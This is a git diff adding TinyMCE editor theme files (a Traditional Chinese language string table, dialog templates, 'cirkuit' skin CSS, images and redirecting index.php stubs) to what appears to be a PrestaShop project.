\u8a2d\u5b9a\u5716\u7247","charmap_title":"\u9078\u64c7\u81ea\u8a02\u7684\u7b26\u865f","colorpicker_name":"\u540d\u7a31\uff1a","colorpicker_color":"\u984f\u8272\uff1a","colorpicker_named_title":"\u8272\u7968\u540d\u7a31","colorpicker_named_tab":"\u8272\u7968\u540d\u7a31","colorpicker_palette_title":"\u8abf\u8272","colorpicker_palette_tab":"\u8abf\u8272\u76e4","colorpicker_picker_title":"\u6309\u4e00\u4e0b\u6ed1\u9f20\u9078\u64c7\u984f\u8272","colorpicker_picker_tab":"\u9078\u64c7","colorpicker_title":"\u9078\u4e00\u500b\u984f\u8272","code_wordwrap":"\u81ea\u52d5\u63db\u884c","code_title":"HTML \u8a9e\u6cd5\u7de8\u8f2f\u5668","anchor_name":"\u9328\u9ede\u540d\u7a31","anchor_title":"\u52a0\u5165 / \u8a2d\u5b9a\u9328\u9ede","about_loaded":"\u5916\u639b\u7a0b\u5f0f\u8f09\u5165\u5b8c\u6210","about_version":"\u7248\u672c","about_author":"\u4f5c\u8005","about_plugin":"\u5916\u639b","about_plugins":"\u5916\u639b\u7a0b\u5f0f","about_license":"\u7248\u6b0a\u6388\u6b0a","about_help":"\u8aaa\u660e","about_general":"\u95dc\u65bc","about_title":"\u95dc\u65bc TinyMCE \u9019\u5957\u6587\u5b57\u7de8\u8f2f\u5668","anchor_invalid":"\u8acb\u7528\u82f1\u6587\u6216\u6578\u5b57\u4f5c\u70ba\u9328\u9ede\u7684\u540d\u7a31","accessibility_help":"Accessibility Help","accessibility_usage_title":"General Usage"}); \ No newline at end of file diff --git a/js/tiny_mce2/themes/advanced/link.htm b/js/tiny_mce2/themes/advanced/link.htm new file mode 100755 index 0000000..4a2459f --- /dev/null +++ b/js/tiny_mce2/themes/advanced/link.htm @@ -0,0 +1,57 @@ + + + + {#advanced_dlg.link_title} + + + + + + + +
    + + +
    +
    + + + + + + + + + + + + + + + + + + + + + +
    + + + + +
     
    +
    +
    + +
    + + +
    +
    + + diff --git a/js/tiny_mce2/themes/advanced/shortcuts.htm b/js/tiny_mce2/themes/advanced/shortcuts.htm new file mode 100755 index 0000000..436091f --- /dev/null +++ b/js/tiny_mce2/themes/advanced/shortcuts.htm @@ -0,0 +1,47 @@ + + + + {#advanced_dlg.accessibility_help} + + + + +

    {#advanced_dlg.accessibility_usage_title}

    +

    Toolbars

    +

    Press ALT-F10 to move focus to the toolbars. Navigate through the buttons using the arrow keys. + Press enter to activate a button and return focus to the editor. + Press escape to return focus to the editor without performing any actions.

    + +

    Status Bar

    +

    To access the editor status bar, press ALT-F11. Use the left and right arrow keys to navigate between elements in the path. + Press enter or space to select an element. Press escape to return focus to the editor without changing the selection.

    + +

    Context Menu

    +

    Press shift-F10 to activate the context menu. Use the up and down arrow keys to move between menu items. To open sub-menus press the right arrow key. + To close submenus press the left arrow key. Press escape to close the context menu.

    + +

    Keyboard Shortcuts

    + + + + + + + + + + + + + + + + + + + + + +
    KeystrokeFunction
    Control-BBold
    Control-IItalic
    Control-ZUndo
    Control-YRedo
    + + diff --git a/js/tiny_mce2/themes/advanced/skins/cirkuit/content.css b/js/tiny_mce2/themes/advanced/skins/cirkuit/content.css new file mode 100755 index 0000000..4f33742 --- /dev/null +++ b/js/tiny_mce2/themes/advanced/skins/cirkuit/content.css @@ -0,0 +1,66 @@ +/*body, td, pre {color:#000; font-family:Verdana, Arial, Helvetica, sans-serif; font-size:10px; margin:8px;} +body {background:#FFF;} +body.mceForceColors {background:#FFF; color:#000;} +h1 {font-size: 2em} +h2 {font-size: 1.5em} +h3 {font-size: 1.17em} +h4 {font-size: 1em} +h5 {font-size: .83em} +h6 {font-size: .75em} +.mceItemTable, .mceItemTable td, .mceItemTable th, .mceItemTable caption, .mceItemVisualAid {border: 1px dashed #BBB;} +a.mceItemAnchor {display:inline-block; width:11px !important; height:11px !important; background:url(img/items.gif) no-repeat 0 0;} +td.mceSelected, th.mceSelected {background-color:#3399ff !important} +img {border:0;} +table {cursor:default} +table td, table th {cursor:text} +ins {border-bottom:1px solid green; text-decoration: none; color:green} +del {color:red; text-decoration:line-through} +cite {border-bottom:1px dashed blue} +acronym {border-bottom:1px dotted #CCC; cursor:help} +abbr {border-bottom:1px dashed #CCC; cursor:help} + +* html body { +scrollbar-3dlight-color:#F0F0EE; +scrollbar-arrow-color:#676662; +scrollbar-base-color:#F0F0EE; +scrollbar-darkshadow-color:#DDD; +scrollbar-face-color:#E0E0DD; +scrollbar-highlight-color:#F0F0EE; +scrollbar-shadow-color:#F0F0EE; +scrollbar-track-color:#F5F5F5; +} + +img:-moz-broken {-moz-force-broken-image-icon:1; width:24px; height:24px} +font[face=mceinline] {font-family:inherit !important}*/ +body, td, pre {color:#000; font: 12px/1.5em "Lucida Grande", Helvetica, Arial, sans-serif; margin:8px;} +html,body {padding: 0 !important; margin: 0 !important; background:#fff !important;} +body {height: 94% !important; padding: 0 !important;} +body.mceForceColors {background:#FFF; color:#000;} +h1 {font-size: 2em} +h2 {font-size: 1.5em} +h3 {font-size: 1.17em} +h4 {font-size: 1em} +h5 {font-size: .83em} +h6 {font-size: .75em} +.mceItemTable, .mceItemTable td, .mceItemTable th, .mceItemTable caption, .mceItemVisualAid {border: 1px dashed #BBB;} +a.mceItemAnchor {width:12px; line-height:6px; overflow:hidden; padding-left:12px; background:url(img/items.gif) no-repeat bottom left;} +img.mceItemAnchor {width:12px; height:12px; background:url(img/items.gif) no-repeat;} +img {border:0;} +table {cursor:default} +table td, table th {cursor:text} +ins {border-bottom:1px solid green; text-decoration: none; color:green} +del {color:red; text-decoration:line-through} +cite {border-bottom:1px dashed blue} +acronym {border-bottom:1px dotted #CCC; cursor:help} +abbr, html\:abbr {border-bottom:1px dashed #CCC; cursor:help} + +* html body { +scrollbar-3dlight-color:#F0F0EE; +scrollbar-arrow-color:#676662; +scrollbar-base-color:#F0F0EE; +scrollbar-darkshadow-color:#DDD; +scrollbar-face-color:#E0E0DD; +scrollbar-highlight-color:#F0F0EE; +scrollbar-shadow-color:#F0F0EE; +scrollbar-track-color:#F5F5F5; +} diff --git a/js/tiny_mce2/themes/advanced/skins/cirkuit/dialog.css b/js/tiny_mce2/themes/advanced/skins/cirkuit/dialog.css new file mode 100755 index 0000000..1a1f359 --- /dev/null +++ b/js/tiny_mce2/themes/advanced/skins/cirkuit/dialog.css @@ -0,0 +1,117 @@ +/* Generic */ +body { +font-family:Verdana, Arial, Helvetica, sans-serif; font-size:11px; +background:#f1f1f1; +padding:0; +margin:8px 8px 0 8px; +} + +html {background:#f1f1f1;} +td {font-family:Verdana, Arial, Helvetica, sans-serif; font-size:10px;} +textarea {resize:none;outline:none;} +a:link, a:visited {color:black;} +a:hover {color:#2B6FB6;} +.nowrap {white-space: nowrap} + +/* Forms */ +fieldset {margin:0; padding:4px; border:1px solid #dfdfdf; font-family:Verdana, Arial; font-size:10px;} +legend {color:#2B6FB6; font-weight:bold;} +label.msg {display:none;} +label.invalid {color:#EE0000; display:inline;} +input.invalid {border:1px solid #EE0000;} +input {background:#FFF; border:1px solid #dfdfdf;} +input, select, textarea {font-family:Verdana, Arial, Helvetica, sans-serif; font-size:10px;} +input, select, textarea {border:1px solid #dfdfdf;} +input.radio {border:1px none #000000; background:transparent; vertical-align:middle;} +input.checkbox {border:1px none #000000; background:transparent; vertical-align:middle;} +.input_noborder {border:0;} + +/* Buttons */ +#insert, #cancel, #apply, .mceActionPanel .button, input.mceButton, .updateButton { + border: 1px solid #bbb; + margin:0; + padding:0 0 1px; + font-weight:bold; + font-size: 11px; + width:94px; + height:24px; + background:url(img/fade-butt.png) 0 0; + color:#000; + cursor:pointer; + -moz-border-radius: 3px; + -khtml-border-radius: 3px; + -webkit-border-radius: 3px; + border-radius: 3px; +} +#insert:hover, #cancel:hover, input.mceButton:hover, .updateButton:hover, +#insert:focus, #cancel:focus, input.mceButton:focus, .updateButton:focus { + border: 1px solid #555; +} + +/* Browse */ +a.browse span {display:block; width:20px; height:18px; background:url(../../img/icons.gif) -860px 0; border:1px solid #FFF; margin-left:1px;} +.mceOldBoxModel a.browse span {width:22px; height:20px;} +a.browse:hover span {border:1px solid #0A246A; background-color:#B2BBD0;} +a.browse span.disabled {border:1px solid white; -moz-opacity:0.3; opacity:0.3; filter:progid:DXImageTransform.Microsoft.Alpha(opacity=30);} +a.browse:hover span.disabled {border:1px solid white; background-color:transparent;} +a.pickcolor span {display:block; width:20px; height:16px; background:url(../../img/icons.gif) -840px 0; margin-left:2px;} +.mceOldBoxModel a.pickcolor span {width:21px; height:17px;} +a.pickcolor:hover span {background-color:#B2BBD0;} +a.pickcolor, a.browse {text-decoration:none} + +/* Charmap */ +table.charmap {border:1px solid #AAA; text-align:center} +td.charmap, #charmap a {width:18px; height:18px; color:#000; border:1px solid #AAA; text-align:center; font-size:12px; vertical-align:middle; line-height: 18px;} +#charmap a {display:block; color:#000; text-decoration:none; border:0} +#charmap a:hover {background:#CCC;color:#2B6FB6} +#charmap #codeN {font-size:10px; font-family:Arial,Helvetica,sans-serif; text-align:center} +#charmap #codeV {font-size:40px; height:80px; border:1px solid #AAA; text-align:center} +#charmap #charmapView {background-color:#fff;} + +/* Source */ +.wordWrapCode {vertical-align:middle; border:1px none #000000; background:transparent;} +.mceActionPanel {margin-top:5px;} + +/* Tabs classes */ +.tabs {width:100%; height:18px; line-height:normal; background:url(img/tabs.gif) repeat-x 0 -72px;} +.tabs ul {margin:0; padding:0; list-style:none;} +.tabs li {float:left; background:url(img/tabs.gif) no-repeat 0 0; margin:0 2px 0 0; padding:0 0 0 10px; line-height:17px; height:18px; display:block;} +.tabs li.current {background:url(img/tabs.gif) no-repeat 0 -18px; margin-right:2px;} +.tabs span {float:left; display:block; background:url(img/tabs.gif) no-repeat right -36px; padding:0px 10px 0 0;} +.tabs .current span {background:url(img/tabs.gif) no-repeat right -54px;} +.tabs a {text-decoration:none; font-family:Verdana, Arial; font-size:10px;} +.tabs a:link, .tabs a:visited, .tabs a:hover {color:black;} + +/* Panels */ +.panel_wrapper div.panel {display:none;} +.panel_wrapper div.current {display:block; width:100%; height:300px; overflow:visible;} +.panel_wrapper {border:1px solid #919B9C; border-top:0px; padding:10px; padding-top:5px; clear:both; background:white;} + +/* Columns */ +.column {float:left;} +.properties {width:100%;} +.properties .column1 {} +.properties .column2 {text-align:left;} + +/* Titles */ +h1, h2, h3, h4 {color:#2B6FB6; margin:0; padding:0; padding-top:5px;} +h3 {font-size:14px;} +.title {font-size:12px; font-weight:bold; color:#2B6FB6;} + +/* Dialog specific */ +#link .panel_wrapper, #link div.current {height:125px;} +#image .panel_wrapper, #image div.current {height:200px;} +#plugintable thead {font-weight:bold; background:#DDD;} +#plugintable, #about #plugintable td {border:1px solid #919B9C;} +#plugintable {width:96%; margin-top:10px;} +#pluginscontainer {height:290px; overflow:auto;} +#colorpicker #preview {float:right; width:50px; height:14px;line-height:1px; border:1px solid black; margin-left:5px;} +#colorpicker #colors {float:left; border:1px solid gray; cursor:crosshair;} +#colorpicker #light {border:1px solid gray; margin-left:5px; float:left;width:15px; height:150px; cursor:crosshair;} +#colorpicker #light div {overflow:hidden;} +#colorpicker #previewblock {float:right; padding-left:10px; height:20px;} +#colorpicker .panel_wrapper div.current {height:175px;} +#colorpicker #namedcolors {width:150px;} +#colorpicker #namedcolors a {display:block; float:left; width:10px; height:10px; margin:1px 1px 0 0; overflow:hidden;} +#colorpicker #colornamecontainer {margin-top:5px;} +#colorpicker #picker_panel fieldset {margin:auto;width:325px;} diff --git a/js/tiny_mce2/themes/advanced/skins/cirkuit/img/butt2.png b/js/tiny_mce2/themes/advanced/skins/cirkuit/img/butt2.png new file mode 100755 index 0000000..3baae5e Binary files /dev/null and b/js/tiny_mce2/themes/advanced/skins/cirkuit/img/butt2.png differ diff --git a/js/tiny_mce2/themes/advanced/skins/cirkuit/img/button-bg.png b/js/tiny_mce2/themes/advanced/skins/cirkuit/img/button-bg.png new file mode 100755 index 0000000..0c2c5f8 Binary files /dev/null and b/js/tiny_mce2/themes/advanced/skins/cirkuit/img/button-bg.png differ diff --git a/js/tiny_mce2/themes/advanced/skins/cirkuit/img/buttons.png b/js/tiny_mce2/themes/advanced/skins/cirkuit/img/buttons.png new file mode 100755 index 0000000..7dd5841 Binary files /dev/null and b/js/tiny_mce2/themes/advanced/skins/cirkuit/img/buttons.png differ diff --git a/js/tiny_mce2/themes/advanced/skins/cirkuit/img/down_arrow.gif b/js/tiny_mce2/themes/advanced/skins/cirkuit/img/down_arrow.gif new file mode 100755 index 0000000..687b241 Binary files /dev/null and b/js/tiny_mce2/themes/advanced/skins/cirkuit/img/down_arrow.gif differ diff --git a/js/tiny_mce2/themes/advanced/skins/cirkuit/img/fade-butt.png b/js/tiny_mce2/themes/advanced/skins/cirkuit/img/fade-butt.png new file mode 100755 index 0000000..42f08b7 Binary files /dev/null and b/js/tiny_mce2/themes/advanced/skins/cirkuit/img/fade-butt.png differ diff --git a/js/tiny_mce2/themes/advanced/skins/cirkuit/img/icons.png b/js/tiny_mce2/themes/advanced/skins/cirkuit/img/icons.png new file mode 100755 index 0000000..7525d9d Binary files /dev/null and b/js/tiny_mce2/themes/advanced/skins/cirkuit/img/icons.png differ diff --git a/js/tiny_mce2/themes/advanced/skins/cirkuit/img/index.php b/js/tiny_mce2/themes/advanced/skins/cirkuit/img/index.php new file mode 100755 index 0000000..f42f03e --- /dev/null +++ b/js/tiny_mce2/themes/advanced/skins/cirkuit/img/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/js/tiny_mce2/themes/advanced/skins/cirkuit/img/items.gif b/js/tiny_mce2/themes/advanced/skins/cirkuit/img/items.gif new file mode 100755 index 0000000..2eafd79 Binary files /dev/null and b/js/tiny_mce2/themes/advanced/skins/cirkuit/img/items.gif differ diff --git a/js/tiny_mce2/themes/advanced/skins/cirkuit/img/menu-arrow.png b/js/tiny_mce2/themes/advanced/skins/cirkuit/img/menu-arrow.png new file mode 100755 index 0000000..bdfe509 Binary files /dev/null and b/js/tiny_mce2/themes/advanced/skins/cirkuit/img/menu-arrow.png differ diff --git a/js/tiny_mce2/themes/advanced/skins/cirkuit/img/menu-check.png b/js/tiny_mce2/themes/advanced/skins/cirkuit/img/menu-check.png new file mode 100755 index 0000000..92a5edb Binary files /dev/null and b/js/tiny_mce2/themes/advanced/skins/cirkuit/img/menu-check.png differ diff --git a/js/tiny_mce2/themes/advanced/skins/cirkuit/img/progress.gif b/js/tiny_mce2/themes/advanced/skins/cirkuit/img/progress.gif new file mode 100755 index 0000000..5bb90fd Binary files /dev/null and b/js/tiny_mce2/themes/advanced/skins/cirkuit/img/progress.gif differ diff --git a/js/tiny_mce2/themes/advanced/skins/cirkuit/img/tabs.gif b/js/tiny_mce2/themes/advanced/skins/cirkuit/img/tabs.gif new file mode 100755 index 0000000..ce4be63 Binary files /dev/null and b/js/tiny_mce2/themes/advanced/skins/cirkuit/img/tabs.gif differ diff --git a/js/tiny_mce2/themes/advanced/skins/cirkuit/img/toolbarbg.png b/js/tiny_mce2/themes/advanced/skins/cirkuit/img/toolbarbg.png new file mode 100755 index 0000000..f295106 Binary files /dev/null and b/js/tiny_mce2/themes/advanced/skins/cirkuit/img/toolbarbg.png differ diff --git a/js/tiny_mce2/themes/advanced/skins/cirkuit/index.php b/js/tiny_mce2/themes/advanced/skins/cirkuit/index.php new file mode 100755 index 0000000..f42f03e --- /dev/null +++ b/js/tiny_mce2/themes/advanced/skins/cirkuit/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/js/tiny_mce2/themes/advanced/skins/cirkuit/ui.css b/js/tiny_mce2/themes/advanced/skins/cirkuit/ui.css new file mode 100755 index 0000000..f85c208 --- /dev/null +++ b/js/tiny_mce2/themes/advanced/skins/cirkuit/ui.css @@ -0,0 +1,988 @@ +/* Reset */ +.cirkuitSkin table, .cirkuitSkin tbody, .cirkuitSkin a, .cirkuitSkin img, .cirkuitSkin tr, .cirkuitSkin div, .cirkuitSkin td, .cirkuitSkin iframe, .cirkuitSkin span, .cirkuitSkin *, .cirkuitSkin .mceText { + border: 0; + margin: 0; + padding: 0; + background: transparent; + white-space: nowrap; + text-decoration: none; + font-weight: normal; + cursor: default; + color: #000; + vertical-align: baseline; + width: auto; + border-collapse: separate; + text-align: left +} + +.cirkuitSkin a:hover, .cirkuitSkin a:link, .cirkuitSkin a:visited, .cirkuitSkin a:active { + text-decoration: none; + font-weight: normal; + cursor: default; + color: #000 +} + +.cirkuitSkin table td { + vertical-align: middle +} + +/* Containers */ +.cirkuitSkin table { + direction:ltr; +} +.cirkuitSkin iframe { + display: block; + background: #FFF; +} + +.cirkuitSkin .mceToolbar { + height: 26px +} + +.cirkuitSkin .mceLeft { + text-align: left +} + +.cirkuitSkin .mceRight { + text-align: right +} + +/* External */ +.cirkuitSkin .mceExternalToolbar { + position: absolute; + border: 1px solid #CCC; + border-bottom: 0; + display: none; +} + +.cirkuitSkin .mceExternalToolbar td.mceToolbar { + padding-right: 13px; +} + +.cirkuitSkin .mceExternalClose { + position: absolute; + top: 3px; + right: 3px; + width: 7px; + height: 7px; + background: url('img/icons.png') -820px 0 +} + +/* Layout */ +.cirkuitSkin table.mceLayout { + border: 0; + border-left: 1px solid #CCC; + border-right: 1px solid #CCC +} + +.cirkuitSkin table.mceLayout tr.mceFirst td { + border-top: 1px solid #CCC +} + +.cirkuitSkin table.mceLayout tr.mceLast td { + border-bottom: 1px solid #CCC; + background: url('img/toolbarbg.png') center repeat-x; +} + +.cirkuitSkin table.mceToolbar, .cirkuitSkin tr.mceFirst .mceToolbar tr td, .cirkuitSkin tr.mceLast .mceToolbar tr td { + border: 0; + margin: 0; + padding: 0; +} + +.cirkuitSkin td.mceToolbar { + padding-top: 1px; + vertical-align: top; + background-color: #DFDFDF; +} + +.cirkuitSkin .mceIframeContainer { + border-top: 1px solid #CCC; + border-bottom: 1px solid #CCC; + /*height: 100%; 5/22/2010 - Joe Rozzi - taken out comparing to default theme ui.css */ +} + +.cirkuitSkin .mceStatusbar { + font-family: 'MS Sans Serif', sans-serif, Verdana, Arial; + font-size: 9pt; + line-height: 16px; + overflow: visible; + color: #666; + display: block; + height: 20px +} + +.cirkuitSkin .mceStatusbar div { + float: left; + /*margin: 3px 0 0 4px;*/ + margin:2px; + color: #666; +} + +.cirkuitSkin .mceStatusbar a.mceResize { + display: block; + float: right; + background: url('img/icons.png') -801px -2px; + width: 20px; + height: 20px; + cursor: se-resize; + outline:0; +} + +.cirkuitSkin .mceStatusbar a:hover { + text-decoration: underline +} + +.cirkuitSkin table.mceToolbar { + margin-left: 3px +} + +.cirkuitSkin span.mceIcon, .cirkuitSkin img.mceIcon { + display: block; + width: 20px; + height: 20px +} + +.cirkuitSkin .mceIcon { + background: url('img/icons.png') no-repeat 20px 20px +} + +.cirkuitSkin td.mceCenter { + text-align: center; +} + +.cirkuitSkin td.mceCenter table { + margin: 0 auto; + text-align: left; +} + +.cirkuitSkin td.mceRight table { + margin: 0 0 0 auto; +} + +/* Button */ +.cirkuitSkin .mceButton { + -moz-border-radius: 3px; + -webkit-border-radius: 3px; + -khtml-border-radius: 3px; + border-radius: 3px; + background-image: url("img/butt2.png"); + background-position: left top; + background-repeat: repeat-x; + cursor: default; + display: block; + height: 20px; + margin: 1px; + padding: 1px 2px; + width: 20px; + background-color: #E9E8E8; + border-color: #B2B2B2; +} + +.cirkuitSkin a.mceButtonEnabled:hover { + background-position: 0 -10px; + border-color: #777; +} + +.cirkuitSkin a.mceButtonActive, .cirkuitSkin a.mceButtonSelected { + background-image: inherit; + border-color: #333; + background: #bcd0f5 !important; +} + +.cirkuitSkin .mceButtonDisabled .mceIcon { + opacity: 0.3; + -ms-filter: 'alpha(opacity=30)'; + filter: alpha(opacity = 30); +} + +.cirkuitSkin .mceButtonLabeled { + width: auto; +} + +.cirkuitSkin .mceButtonLabeled span.mceIcon { + float: left; +} + +.cirkuitSkin span.mceButtonLabel { + display: block; + font-size: 10px; + padding: 4px 6px 0 22px; + font-family: Tahoma, Verdana, Arial, Helvetica; +} + +.cirkuitSkin .mceButtonDisabled .mceButtonLabel { + color: #888; +} + +/* Separator */ +.cirkuitSkin .mceSeparator { + background: none repeat scroll 0 0 transparent; + display: block; + height: 24px; + margin: 0 2px; + overflow: hidden; + width: 1px; +} + +/* ListBox */ +.cirkuitSkin .mceListBox { + direction: ltr; + margin: 1px; +} + +.cirkuitSkin .mceListBox, .cirkuitSkin .mceListBox a { + display: block +} + +.cirkuitSkin .mceListBox .mceText { + padding: 1px 2px 1px 5px; + text-align: left; + text-decoration: none !important; + width: 70px; + background-image: url(img/butt2.png); + background-position: left top; + background-repeat: repeat-x; + font-family: Tahoma, Verdana, Arial, Helvetica; + font-size: 11px; + height: 20px; + line-height: 20px; + overflow: hidden; +} + +.cirkuitSkin .mceListBox .mceText, .cirkuitSkin .mceListBox .mceOpen { + background-color: #D5D5D5; + border-color: #B2B2B2; +} + +.cirkuitSkin table.mceListBoxEnabled:hover .mceOpen, .cirkuitSkin .mceListBoxHover .mceOpen, .cirkuitSkin .mceListBoxSelected .mceOpen, .cirkuitSkin .mceListBoxSelected .mceText { + border-color: #777 !important; + background-color: #d5d5d5 !important; +} + +.cirkuitSkin table.mceListBoxEnabled:hover .mceText, .cirkuitSkin .mceListBoxHover .mceText { + border-color: #777 !important; +} + +.cirkuitSkin table.mceListBoxEnabled:hover .mceText, .cirkuitSkin .mceListBoxHover .mceText, .cirkuitSkin .mceListBoxSelected .mceText, .cirkuitSkin table.mceListBoxEnabled:hover .mceOpen, .cirkuitSkin .mceListBoxHover .mceOpen, .cirkuitSkin .mceListBoxSelected .mceOpen { + background-image: none; +} + +.cirkuitSkin .mceListBoxDisabled a.mceText { + color: gray; + background-color: transparent; +} + +.cirkuitSkin .mceListBoxMenu { + overflow: auto; + overflow-x: hidden +} + +.cirkuitSkin .mceOldBoxModel .mceListBox .mceText { + height: 22px +} + +.cirkuitSkin .mceOldBoxModel .mceListBox .mceOpen { + width: 11px; + height: 22px; +} + +.cirkuitSkin select.mceNativeListBox { + font: 11px 'Lucida Grande', Helvetica, Arial, sans-serif; + background: #F0F0EE; + border: 1px solid gray; + margin-right: 2px; +} + +.cirkuitSkin .mceListBox .mceOpen { + width: 14px; + height: 20px; + border-collapse: separate; + background-image: url(img/butt2.png); + background-position: left top; + background-repeat: repeat-x; + padding: 1px; + border-left: 0 none !important; +} + +.cirkuitSkin .mceListBox .mceOpen span { + display: block; + width: 14px; + height: 20px; + background-image: url(img/down_arrow.gif); + background-position: 2px 1px; + background-repeat: no-repeat; +} + +/* SplitButton */ +.cirkuitSkin .mceSplitButton { + width: 32px; + height: 20px; + direction: ltr +} + +.cirkuitSkin .mceSplitButton a, .cirkuitSkin .mceSplitButton span { + height: 20px; +} + +.cirkuitSkin .mceSplitButton a { + display: block; +} + +.cirkuitSkin .mceSplitButton a.mceAction { + height: 20px; + width: 20px; + padding: 1px 2px; + display: block; +} + +.cirkuitSkin .mceSplitButton span.mceAction { + width: 20px; + background: url('img/icons.png') 20px 20px; + display: block; +} + +.cirkuitSkin .mceSplitButton a.mceOpen { + width: 10px; + height: 20px; + background-image: url(img/down_arrow.gif); + background-position: 1px 2px; + background-repeat: no-repeat; + padding: 1px; + border-left: 0 none !important; +} + +.cirkuitSkin .mceSplitButtonDisabled .mceAction, .cirkuitSkin .mceSplitButtonDisabled span.mceOpen { + opacity: 0.3; + filter: alpha(opacity = 30); +} + +.cirkuitSkin .mceSplitButtonActive a.mceAction { + border: 1px solid #0A246A; + background-color: #C2CBE0; +} + +.cirkuitSkin table.mceSplitButton td { + background-image: url(img/butt2.png); + background-position: left top; + background-repeat: repeat-x; +} + +.cirkuitSkin .mceSplitButton a.mceAction, .cirkuitSkin .mceSplitButton a.mceOpen { + border-color: #B2B2B2; +} + +.cirkuitSkin .mceListBox a.mceText, .cirkuitSkin .mceSplitButton a.mceAction { + -moz-border-radius-bottomleft: 3px; + -webkit-border-bottom-left-radius: 3px; + -khtml-border-bottom-left-radius: 3px; + border-bottom-left-radius: 3px; + -moz-border-radius-topleft: 3px; + -webkit-border-top-left-radius: 3px; + -khtml-border-top-left-radius: 3px; + border-top-left-radius: 3px; +} + +.cirkuitSkin .mceSplitButton a.mceOpen, .cirkuitSkin .mceListBox a.mceOpen { + -moz-border-radius-bottomright: 3px; + -webkit-border-bottom-right-radius: 3px; + -khtml-border-bottom-right-radius: 3px; + border-bottom-right-radius: 3px; + -moz-border-radius-topright: 3px; + -webkit-border-top-right-radius: 3px; + -khtml-border-top-right-radius: 3px; + border-top-right-radius: 3px; +} + +.cirkuitSkin .mceSplitButton a.mceOpen:hover, .cirkuitSkin .mceSplitButtonSelected a.mceOpen, .cirkuitSkin table.mceSplitButtonEnabled:hover a.mceAction, .cirkuitSkin .mceSplitButton a.mceAction:hover { + background-color: #d5d5d5; + border-color: #777 !important; +} + +/* ColorSplitButton */ +.cirkuitSkin div.mceColorSplitMenu table { + background: #FFF; + border: 1px solid gray +} + +.cirkuitSkin .mceColorSplitMenu td { + padding: 2px +} + +.cirkuitSkin .mceColorSplitMenu a { + display: block; + width: 9px; + height: 9px; + overflow: hidden; + border: 1px solid #808080 +} + +.cirkuitSkin .mceColorSplitMenu td.mceMoreColors { + padding: 1px 3px 1px 1px +} + +.cirkuitSkin .mceColorSplitMenu a.mceMoreColors { + width: 100%; + height: auto; + text-align: center; + font-family: Tahoma, Verdana, Arial, Helvetica; + font-size: 11px; + line-height: 20px; + border: 1px solid #FFF +} + +.cirkuitSkin .mceColorSplitMenu a.mceMoreColors:hover { + border: 1px solid #0A246A; + background-color: #B6BDD2 +} + +.cirkuitSkin a.mceMoreColors:hover { + border: 1px solid #0A246A +} + +.cirkuitSkin .mceColorPreview { + margin-left: 2px; + width: 16px; + height: 3px; + overflow: hidden; + background: #9a9b9a +} + +.cirkuitSkin .mce_forecolor span.mceAction, .cirkuitSkin .mce_backcolor span.mceAction { + overflow: hidden; + height: 16px +} + +/* Menu */ +.cirkuitSkin .mceMenu { + position: absolute; + left: 0; + top: 0; + z-index: 1000; + border: 1px solid #D4D0C8 +} + +.cirkuitSkin .mceNoIcons span.mceIcon { + width: 0; +} + +.cirkuitSkin .mceNoIcons a .mceText { + padding-left: 10px +} + +.cirkuitSkin .mceMenu table { + background: #FFF +} + +.cirkuitSkin .mceMenu a, .cirkuitSkin .mceMenu span, .cirkuitSkin .mceMenu { + display: block +} + +.cirkuitSkin .mceMenu td { + height: 20px +} + +.cirkuitSkin .mceMenu a { + position: relative; + padding: 3px 0 4px 0 +} + +.cirkuitSkin .mceMenu .mceText { + position: relative; + display: block; + font-family: 'Lucida Grande', Helvetica, Arial, sans-serif; + color: #000; + cursor: default; + margin: 0; + padding: 0 25px 0 25px; + display: block +} + +.cirkuitSkin .mceMenu span.mceText, .cirkuitSkin .mceMenu .mcePreview { + font-size: 11px +} + +.cirkuitSkin .mceMenu pre.mceText { + font-family: Monospace +} + +.cirkuitSkin .mceMenu .mceIcon { + position: absolute; + top: 0; + left: 0; + width: 22px; +} + +.cirkuitSkin .mceMenu .mceMenuItemEnabled a:hover, .cirkuitSkin .mceMenu .mceMenuItemActive { + background-color: #dbecf3 +} + +.cirkuitSkin td.mceMenuItemSeparator { + background: #DDD; + height: 1px +} + +.cirkuitSkin .mceMenuItemTitle a { + border: 0; + background: #EEE; + border-bottom: 1px solid #DDD +} + +.cirkuitSkin .mceMenuItemTitle span.mceText { + color: #000; + font-weight: bold; + padding-left: 4px +} + +.cirkuitSkin .mceMenuItemDisabled .mceText { + color: #888 +} + +.cirkuitSkin .mceMenuItemSelected .mceIcon { + background: url('img/menu-check.png') +} + +.cirkuitSkin .mceNoIcons .mceMenuItemSelected a { + background: url('img/menu-arrow.png') no-repeat -6px center +} + +.cirkuitSkin .mceMenu span.mceMenuLine { + display: none +} + +.cirkuitSkin .mceMenuItemSub a { + background: url('img/menu-arrow.png') no-repeat top right; +} + +/* Progress,Resize */ +.cirkuitSkin .mceBlocker { + position: absolute; + left: 0; + top: 0; + z-index: 1000; + opacity: 0.5; + -ms-filter: 'alpha(opacity=50)'; + filter: alpha(opacity = 50); + background: #FFF +} + +.cirkuitSkin .mceProgress { + position: absolute; + left: 0; + top: 0; + z-index: 1001; + background: url('img/progress.gif') no-repeat; + width: 32px; + height: 32px; + margin: -16px 0 0 -16px +} + +.cirkuitSkin .mcePlaceHolder { + border: 1px dotted gray +} + +/* Formats */ +.cirkuitSkin .mce_formatPreview a { + font-size: 10px +} + +.cirkuitSkin .mce_p span.mceText { +} + +.cirkuitSkin .mce_address span.mceText { + font-style: italic +} + +.cirkuitSkin .mce_pre span.mceText { + font-family: monospace +} + +.cirkuitSkin .mce_h1 span.mceText { + 